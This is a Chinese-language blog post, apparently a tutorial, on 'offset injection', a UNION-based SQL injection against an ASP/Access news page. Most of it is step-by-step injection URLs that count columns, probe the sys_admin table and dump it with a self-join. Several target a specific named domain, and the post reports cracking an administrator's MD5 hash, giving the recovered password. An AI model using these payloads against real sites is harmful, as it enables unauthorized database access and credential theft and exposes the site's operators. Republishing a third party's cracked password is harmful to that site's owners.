/*轉載請注明出處:珍惜少年時*/
偏移注入主要是針對知道表,但是不知道字段的。
這里我已經知道了表明是:sys_admin
可以使用:
select exists(selct * from sys_admin);
來猜測是否有sys_admin表,如果說存在的話頁面就會顯示正常。
00x1 判斷字段數
http://www.test.com/newslist.asp?id=688 order by 19 #錯誤 http://www.test.com/newslist.asp?id=688 order by 18 #正確
00x2 爆出顯示位
http://www.fdsp-reme.com/newslist.asp?id=688 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from sys_admin
00x3 判斷表內存在的字段數
接下來我們利用“*”代替admin表內存在的字段,由於是18個字段數,需要逐步測試,直到返回正常。
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin #錯誤 http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin #錯誤 http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin #錯誤
直到.........
http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin #正確
說明了sys_admin表下有11個字段。
偏移注入的基本公式為:
order by 出的字段數減去*號的字段數,然而再用order by的字段數減去2倍剛才得出來的答案
也就是18-11=7
18-7*2=4
得到答案等於:4
然后依舊是套公式的過程。
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)
#這里union select 1,2,3,4:顧名思義就是剛才得出來的長度。
#后面的是sql,可作公式。
如此便爆出了賬號密碼。
但是我測試的這個網站,略微有點特殊。如下圖所示
c7d062ba4138db9f顧名思義是md5加密。此md5解密出來得:fdspme
#注:有點題外話,偏移注入以上已經完成。
但下面的那個數字就有點讓人懊惱了。
我說他是ASCII碼,你信嗎?最關鍵的是我也不敢說他是ASCII碼
66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53
一剛開始一眼看下去是ASCII編碼,便興匆匆的一個個解密了。解密出來是:BA@?>=<;:98763
心中感慨不已,居然那么難。然而居然是錯的。以為是雷池加密,再用雷池解密一下,也還是錯的。但是大家有沒有注意到。數字!
好有順序。
THE END